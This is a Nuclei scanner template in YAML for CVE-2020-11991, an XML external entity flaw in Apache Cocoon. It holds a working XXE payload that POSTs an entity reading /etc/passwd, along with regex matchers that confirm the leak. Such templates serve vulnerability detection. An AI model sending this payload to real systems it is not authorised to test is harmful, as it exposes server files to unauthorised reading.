nuclei-templates/cves/2020/CVE-2020-11991.yaml

36 lines
1001 B
YAML

id: CVE-2020-11991
info:
name: Apache Cocoon 2.1.12 XML Injection
author: pikpikcu
severity: high
tags: cve,cve2020,apache,xml,cocoon
description: |
When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
reference: https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
requests:
- method: POST
path:
- "{{BaseURL}}/v2/api/product/manger/getInfo"
headers:
Content-type: "text/xml"
body: |
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200